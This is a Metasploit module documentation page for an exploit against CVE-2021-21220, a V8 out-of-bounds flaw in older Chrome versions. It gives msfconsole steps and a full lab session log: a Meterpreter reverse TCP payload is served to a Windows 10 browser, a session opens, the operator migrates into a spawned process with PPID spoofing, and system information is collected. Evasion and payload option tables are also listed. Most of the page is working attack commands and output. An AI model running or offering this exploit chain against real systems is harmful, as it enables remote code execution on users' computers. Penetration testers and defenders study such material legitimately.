Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE - Metasploit


This page contains detailed information about how to use the exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE
Module: exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
Source code: modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb
Disclosure date: 2021-04-13
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-21220

This module exploits an issue in the V8 engine on x86_x64 builds of Google Chrome before 89.0.4389.128/90.0.4430.72 when handling XOR operations in JIT'd JavaScript code. Successful exploitation allows an attacker to execute arbitrary code within the context of the V8 process. As the V8 process is normally sandboxed in the default configuration of Google Chrome, the browser must be run with the --no-sandbox option for the payload to work correctly.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
msf exploit(chrome_cve_2021_21220_v8_insufficient_validation) > exploit

Knowledge Base


Vulnerable Application


This module exploits CVE-2021-21220 an out of bounds access issue in Google Chrome versions before 89.0.4389.128/90.0.4430.72 (64 bit) that was reported as part of Pwn2Own 2021 by Bruno Keith and Niklas Baumstark of Dataflow Security.

The exploit takes advantage of a lack of proper input validation in the V8 engine on x86_x64 builds of Chrome when handling XOR operations within JIT compiled code. Successful exploitation leads to RCE execution within the context of the V8 renderer.

Note that as the V8 renderer is sandboxed within typical Chrome setups, the browser must be run without a sandbox by using the --no-sandbox option for the payload to work correctly.

The module is compatible with any 64bit Google Chrome (versions before 87.0.4280.88) on multiple platforms. However, the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.

Vulnerable Application Installation Steps

You can download a vulnerable Chrome version from this location: https://chromium.cypress.io/win64/beta/90.0.4430.70

Verification Steps


  1. Do: use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
  2. Do: set URIPATH / [PATH]
  3. Do: set LHOST [IP]
  4. Do: set SRVHOST [IP]
  5. Do: exploit

Options


None

Scenarios


Windows 10 and Google Chrome 90.0.4430.0 with --no-sandbox

Start Google Chrome without a sandbox, e.g: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox

msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set TARGET 1
TARGET => 1
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show options

Module options (exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local mac
                                       hine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.17.233.206   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)


msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) >
[*] Started reverse TCP handler on 172.17.233.206:4444
[*] Using URL: http://0.0.0.0:8080/F6htJoKY5li
[*] Local IP: http://172.17.233.206:8080/F6htJoKY5li
[*] Server started.
[*] 172.17.236.178   chrome_cve_2021_21220_v8_insufficient_validation - Sending /F6htJoKY5li to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.0 Safari/537.36
[*] Sending stage (200262 bytes) to 172.17.236.178
[*] Meterpreter session 1 opened (172.17.233.206:4444 -> 172.17.236.178:65165) at 2021-04-27 13:19:35 -0500

msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > use post/windows/manage/migrate
msf6 post(windows/manage/migrate) > show options

Module options (post/windows/manage/migrate):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   KILL       false            no        Kill original process for the session.
   NAME                        no        Name of process to migrate to.
   PID        0                no        PID of process to migrate to.
   PPID       0                no        Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
                                         .
   PPID_NAME                   no        Name of process for PPID spoofing when creating a new process.
   SESSION                     yes       The session to run this module on.
   SPAWN      true             no        Spawn process to migrate to. If set, notepad.exe is used.

msf6 post(windows/manage/migrate) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/migrate) > run

[*] Running module against DESKTOP-KUO5CML
[*] Current server process: chrome.exe (10116)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 8732
[+] Successfully migrated into process 8732
[*] Post module execution completed
msf6 post(windows/manage/migrate) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getpid
Current pid: 8732
meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > sysinfo
Computer        : DESKTOP-KUO5CML
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit module looks in the msfconsole:

msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show info

       Name: Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE
     Module: exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
   Platform: 
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-04-13

Provided by:
  Bruno Keith (bkth_)
  Niklas Baumstark (_niklasb)
  Rajvardhan Agarwal (r4j0x00)
  Grant Willcox (tekwizz123)

Module side effects:
 ioc-in-logs

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
  1   Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
  2   macOS - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:
  Space: 4096

Description:
  This module exploits an issue in the V8 engine on x86_x64 builds of 
  Google Chrome before 89.0.4389.128/90.0.4430.72 when handling XOR 
  operations in JIT'd JavaScript code. Successful exploitation allows 
  an attacker to execute arbitrary code within the context of the V8 
  process. As the V8 process is normally sandboxed in the default 
  configuration of Google Chrome, the browser must be run with the 
  --no-sandbox option for the payload to work correctly.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-21220
  https://github.com/r4j0x00/exploits/tree/master/chrome-0day
  https://twitter.com/r4j0x00/status/1382125720344793090
  https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
  https://www.zerodayinitiative.com/advisories/ZDI-21-411/

Module Options


This is a complete list of options available in the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit:

msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show options

Module options (exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)

Advanced Options


Here is a complete list of advanced options supported by the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit:

msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show advanced

Module advanced options (exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation module can exploit:

msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
   1   Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
   2   macOS - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit:

msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/pingback_bind_tcp                            normal  No     Linux x64 Pingback, Bind TCP Inline
   7   payload/linux/x64/pingback_reverse_tcp                         normal  No     Linux x64 Pingback, Reverse TCP Inline
   8   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   9   payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   10  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   11  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   12  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   13  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   14  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/browser/chrome_cve_2021_21220_v8_insufficient_validation exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Bruno Keith (bkth_)
  • Niklas Baumstark (_niklasb)
  • Rajvardhan Agarwal (r4j0x00)
  • Grant Willcox (tekwizz123)

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.